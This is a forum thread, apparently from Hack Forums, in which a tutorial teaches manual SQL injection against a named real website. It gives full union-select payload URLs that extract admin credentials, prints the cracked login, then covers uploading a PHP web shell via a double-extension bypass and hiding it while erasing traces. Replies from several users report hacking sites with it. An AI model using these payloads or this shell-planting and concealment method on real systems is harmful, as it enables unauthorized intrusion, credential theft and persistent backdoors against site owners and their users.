

Forum:[Hack Forums](#)

Thread: [\[HOW TO\]SQLi, Shell, & Remain Undetected\[TUTORIAL\]](#)

skim - January 28, 2011, 1:03 pm

Introduction

This is intended to be a 3 in one guide on:

- I. Basic SQL Injection
- II. Shell Uploading from an Admin Panel
- III. Keeping your shell on the server (remaining undetected)

Each section will be color coated, and some sections will have pictures for different steps, which will be in Spoilers. Any questions, concerns, constructive criticism are welcome either here on the thread or if it's a private matter feel free to PM me.

I. Basic SQL Injection

Just a quick explanation of what SQL Injection is, SQL Injection is finding a vulnerability in the database and then injecting commands into that vulnerability to extract information out of it (in our case, admin login details). This quick (hopefully) guide will be done completely by hand, so all you Havij Warriors can find another thread to read.

Basic SQL Injection is broken into 8 parts:

- Step 1. Dorks
- Step 2. Checking for Vulnerability
- Step 3. Finding the number of columns
- Step 4. Finding the vulnerable columns
- Step 5. Getting the MySQL version (will only cover version 5)
- Step 6. Getting Table Names
- Step 7. Getting Column Names from a certain Table
- Step 8. Getting the information from those Column Names

Step 1. Dorks

In any other traditional SQL Injection guide they're going to tell you to go find a dork list. A dork is typically something you will search on Google to get websites that might be vulnerable.

Dork Example: `inurl:page.php?id=1`

The only problem with using these extremely common dorks is that they're extremely common. Meaning if you're using dorks that everyone else is using then you're just re-hacking what someone else has already hacked, and when it comes to getting shells you're not going to get many if someone else has already done what you have. Why do I say all of this? Make up your own dorks. This is very simple, just follow this basic dork model: `"inurl:whateveryouwant.php?id=1"`, think of something common, but not on other dork lists. An example would be `"inurl:television.php?id=1"`, this is vital because if you do `"inurl:project.php?id=1"` then you'll go through 50 pages of Google and get no where.

Step 2. Checking for Vulnerability

Once you have your dork in, let's just say it is `"inurl:equipment.php?id=1"`. We find this site:

<http://www.rentcarline.ru/equipment.php?id=1>

So the first thing we're going to do is see if this site is vulnerable to SQL Injection. We do this by adding ' after the number, so:

<http://www.rentcarline.ru/equipment.php?id=1'>

When we do this, the information that was on the page when we had:

<http://www.rentcarline.ru/equipment.php?id=1>

is no longer there, indicating a SQL Error.

Let me emphasize this, if anything changes when you add ', then there's is an SQL error, it does not have to say SQL error.

Step 3. Finding the Number of Columns

Now we're going to go back to our original link:

<http://www.rentcarline.ru/equipment.php?id=1>

and we're going to add: +order+by+5

Code `http://www.rentcarline.ru/equipment.php?id=1+order+by+5` when doing this the page loads fine and everything is still there, so we do:

Code `http://www.rentcarline.ru/equipment.php?id=1+order+by+15` when doing this we realize the page has not loaded correctly, but it did load fine on +order+by+5, so we know it has 5 or more columns, but not 15. Now we try:

Code `http://www.rentcarline.ru/equipment.php?id=1+order+by+10` and it loads fine, now try:

Code `http://www.rentcarline.ru/equipment.php?id=1+order+by+11` There, we get an error at 11 columns, but not 10, so we know that the page has 10 columns.

Step 4. Finding the Vulnerable Columns

To do this we still have our original link:

<http://www.rentcarline.ru/equipment.php?id=1>

and we know that there are 10 columns, so we're going to do: +union+select+1,2,3,4,5,6,7,8,9,10

Code `http://www.rentcarline.ru/equipment.php?id=1+union+select+1,2,3,4,5,6,7,8,9,10` Now here the page loads fine, so we add a - between the = and the number, which will get rid of all the content and show us the columns:

Code `http://www.rentcarline.ru/equipment.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10` Now we see the number 3 at the top, and 9 in the middle. Column 3 and 9 are our vulnerable columns.

Step 5. Getting the MySQL Version

This is really just to make sure it's a version 5, if you get version 4 they're really just a pain to bother with, but that's my opinion. Also it does not matter which vulnerable column you pick, they all have the same information. Anyways we take our original link (now with the - in it):

<http://www.rentcarline.ru/equipment.php?id=-1>

and like earlier getting the vulnerable columns, we're going to put a command (@@version) in one of the vulnerable columns spot:

Code `http://www.rentcarline.ru/equipment.php?id=-1+union+select+1,2,@@version,4,5,6,7,8,9,10`

By doing this we see the number 3 changes to 5.0.45-log, any 5. and on indicates a version 5, which is what we want.

Step 6. Getting Table Names

Here we're going to put a command after our link:

<http://www.rentcarline.ru/equipment.php?id=-1>

The command will be:

`+union+select+1,2,group_concat(table_name),4,5,6,7,8,9,10+from+information_schema.tables+where+table_schema=database()`

Notice how we're getting the table names out of the column 3, so:

Code

`http://www.rentcarline.ru/equipment.php?id=-1+union+select+1,2,group_concat(table_name),4,5,6,7,8,9,10+from+information_schema.tables+where+table_schema=database()` Now we see the table names.

Step 7. Getting Column Names from a certain Table

We see our table names, this is where it takes some common sense. We want Admin login details,

so normally it will either be admin/administrator/user/users. On our example we have administrators. The first thing we're going to do is change the table we want (administrators) into hex. To do this we go here:

<http://www.swingnote.com/tools/texttohex.php>

The hex of administrators is 61646d696e6973747261746f7273.

Now back to our original link:

<http://www.rentcarline.ru/equipment.php?id=-1>

We add this command:

+union+select+1,2,group_concat(column_name),4,5,6,7,8,9,10 from information_schema.columns where table_name=0x61646d696e6973747261746f7273

Again notice how we're getting column names from the hexed table name, but we have to line up our numbers correctly or it will not work. Here is them put together:

Code

[http://www.rentcarline.ru/equipment.php?id=-1+union+select+1,2,group_concat\(column_name\),4,5,6,7,8,9,10 from information_schema.columns where](http://www.rentcarline.ru/equipment.php?id=-1+union+select+1,2,group_concat(column_name),4,5,6,7,8,9,10 from information_schema.columns where)

table_name=0x61646d696e6973747261746f7273Now we see what we want, our column names.

Step 8. Getting the information from those Column Names

Now we see our column names: id,name,email,login,password,status

All we want out of that is login and password, so back to our original link:

<http://www.rentcarline.ru/equipment.php?id=-1>

We're going to add the command:

+union+select+1,2,concat(login,0x3a,password),4,5,6,7,8,9,10+from+administrators

Notice we're keeping our numbers correct (getting the information on column 3), we have login and password where it needs to be, all from the table name administrators. Our final link is:

Code

[http://www.rentcarline.ru/equipment.php?id=-1+union+select+1,2,concat\(login,0x3a,password\),4,5,6,7,8,9,10+from+administrators](http://www.rentcarline.ru/equipment.php?id=-1+union+select+1,2,concat(login,0x3a,password),4,5,6,7,8,9,10+from+administrators)Now we see our admin login name and pass, but one problem. All

along you'll run into MD5 hashed passwords, but not to worry, head over to

<http://www.md5decrypter.co.uk/>. Copy paste the md5 hash in and you'll get the correct password if that md5 hash is decrypted. So our admin login details are: msburk1969:qw987

As for finding the Admin login page always try /admin/ first, but there are a few really good tools on here to find the Admin page. Recommendations on that would be: Reiluke Admin Finder, and Acunetix WVS. Both of these are on HF just use the search button.

I hope this first part of this guide was easy to follow, and hope using an actual SQL vulnerable site helped.

II. Shell Uploading from an Admin Panel

This is assuming that you already have access to an Admin Panel of a website, and this will be very similar to another guide that I have on uploading a shell to an Admin Panel. If you have any issues finding the Admin Panel of a website my PM's are open.

In this tutorial I will be using PHPJackal Shell, because unlike c99 and r57 it is very easy to move in and out of directories with the Jackal Shell and it's alot smaller than the standard c99/r57.

I also have put the code for the PHPJackal Shell [here](#).

I did not write this shell I just use it.

Also a note: in my pictures it says Control Panel, but this is an Admin Panel of the site, it's not a CP. On to the guide:

Step 1: Finding an upload on your Admin Panel

We're going to go to Essays because normally an Essay would be a .pdf upload

Spoiler ([Click to View](#))

We want to Add a New Essay

Spoiler ([Click to View](#))

We see Thumbnail: and the Choose File

Spoiler ([Click to View](#))

Step 2: Uploading your shell

Here we are going to upload our shell, a thumbnail would normal be .jpg/.jpeg/.gif/.png , but first we're going to try to upload our shell as .php. Referr to the top for a copy of the PHPJackal shell and save as jackal.php (make sure you drop down to all file types so it saves as .php and not .txt). After saving, upload your shell and press Submit. Assuming that the website accepted the .php file we will move on.If you get an error saying only .jpg .gif files then you are going to need to save your shell as jackal.php.jpg and then upload it.

Step 3: Finding your Shell

The most simple and basic way to find your shell is to find where you uploaded the information on the site, this is where some common sense will come into play. Now we remember that I uploaded my shell in an Essay, so we go to the site and find Essays on the site:

Spoiler ([Click to View](#))

And then we're going to find our Essay:

Spoiler ([Click to View](#))

Now we're going to right click and Copy Image URL and open that in a new tab and there is our shell.

Finishing Up

If you wish to use a different type of shell than the PHPJackal Shell used in this guide, there is a list of shells and their sources [here](#).

I did not write any of these shells, I have just used them.

III. Keeping your shell on the server (remaining undetected)

This will be just a explanation on how to remain undetected.

Now we're on our shell and we're going to go to the main directory (public html), and go through different directories and find the one that goes back the farthest. Once you've found as far back as you can go, upload a shell there, and name it was something not very noticeable, like 404.php. Once you've done that go back to your site, and add in the directories and your 404.php to find your shell.

An example of this is say you uploaded the shell to:

/var/www/sbtp20/public_html/admin/templates/white/images/404.php

and you're site is <http://google.com/>

to get to it you'll go to:

Code <http://google.com/admin/templates/white/images/404.php>Make sure your newly uploaded shell works fine. Now the original shell we uploaded is in the Images or Uploads folder, or something similar. We're going to delete that shell and then go back to the Admin Panel and delete whatever we posted on the website to upload the shell. By doing this we've left no traces on the website that we were there, and nothing in any easy to reach folders.

Now we have a shell far back in the website's directories, out of reach of anyone snooping around. Here we can upload other shells/host code without worrying about being noticed.

Jocw - January 28, 2011, 1:30 pm

Nice tut first one i've ever tried that has worked.

Sonic Boom - January 28, 2011, 1:47 pm

Very Nice Tutorial. Well Explained and helped me to upload a shell to a website !

hacking - January 28, 2011, 2:23 pm

thank you dude for tut.?

xHipster - January 28, 2011, 2:35 pm

Nice tutorial, it really helped me out.

I am probably gonna use this some time :D

harris21 - January 28, 2011, 3:12 pm

Really nice tutorial mate...Really helpful. !! Keep hacking!

masoom55 - January 28, 2011, 3:41 pm

Nice Tut but I need help can u tell if there is no essay option what option should I choose? reply by PM

Thanks

iPwnage - January 28, 2011, 3:44 pm

There are some better ways to hide shells obv, but I cba to get into that on HF.

Anyway good tut. Will help skids learn!

Diazepam - January 28, 2011, 5:06 pm

Thanks, nice tut. should help a lot of people :)

<3

iWhizKid - January 28, 2011, 6:57 pm

well written and nice tutorial for no0bs. Excellent work thanks

skim - January 29, 2011, 1:21 am

Thanks for the positive responses=]

RapieR - January 29, 2011, 5:46 am

Nice tutorial keep the work up :)

.RomeOo~ - January 29, 2011, 5:52 pm

Great tut man,,, keep up the good work !! ty

skim - January 30, 2011, 12:30 am

Glad it can help, that's what it's here for=]

skim - February 2, 2011, 5:58 pm

For everyone who uses this.

autorunman22 - February 2, 2011, 8:52 pm

Can you answer me what shell is for?

skim - February 6, 2011, 1:11 am

(Feb 2, 2011 09:52 PM)autorunman22 Wrote: [\[CITE\]](#) Can you answer me what shell is for?I explained it pretty well [here](#)=]

Truelegend - February 6, 2011, 2:32 am

nice tut

short: edfsdgsdgsdgsdhsdhsdhfhsdhsfhgjsdghsdfjhdfj

VeseliD - February 6, 2011, 3:17 am

I will try this,good work bro .

Dr.Ox - February 6, 2011, 3:36 am

Brother.... I already uploaded c100 shell ... but i can't get root access... how ?? why??
uname -a ?? I want to switch user to root ... :(can you explain me plz... PM me bro....

E.T - February 6, 2011, 5:21 am

Thank's for this great tutorial ...

Spoiler ([Click to View](#))

too short

skim - February 7, 2011, 12:51 am

(Feb 6, 2011 06:21 AM)E.T Wrote: [\[CITE\]](#) Thank's for this great tutorial ...

Spoiler ([Click to View](#))

too short

you're very welcome

thanks for posting=]

skim - February 25, 2011, 4:23 pm

For everyone who uses this.

bweezy - March 30, 2011, 1:04 pm

good guide, thanks it helped

bluebknight - March 30, 2011, 11:49 pm

Great Tutorial! I am good at SQLi but when it comes to exploiting the server with a shell or backdoor, I am in trouble. The tutorial actually helped me a lot. Keep up the good work

sumit8510 - March 31, 2011, 12:25 am

Good tut bro.

And you must include how to remain anonymous when uploading shell.

Thanks

skim - April 1, 2011, 10:46 pm

(Mar 31, 2011 12:25 AM)sumit8510 Wrote: [\[CITE\]](#) Good tut bro.

And you must include how to remain anonymous when uploading shell.

ThanksJust use a VPN, if I had to suggest one definitely nVPN (<http://nvpn.net>).

asifali2000 - May 24, 2011, 7:57 am

wow its great tutorial . keeep it more up

skim - June 1, 2011, 5:51 pm

Glad to see some positive responses.

skim - June 9, 2011, 6:26 pm

Saw some requests, just putting this where it should be.

TheHostBooter - *June 22, 2011, 11:12 pm*

I can't get this to work for some reason. When I get to "Step 6. Getting Table Names", it shows the original SQL error. I'm using a different website than the one you supplied. I followed the guide to par though. ?

Help would be appreciated. ?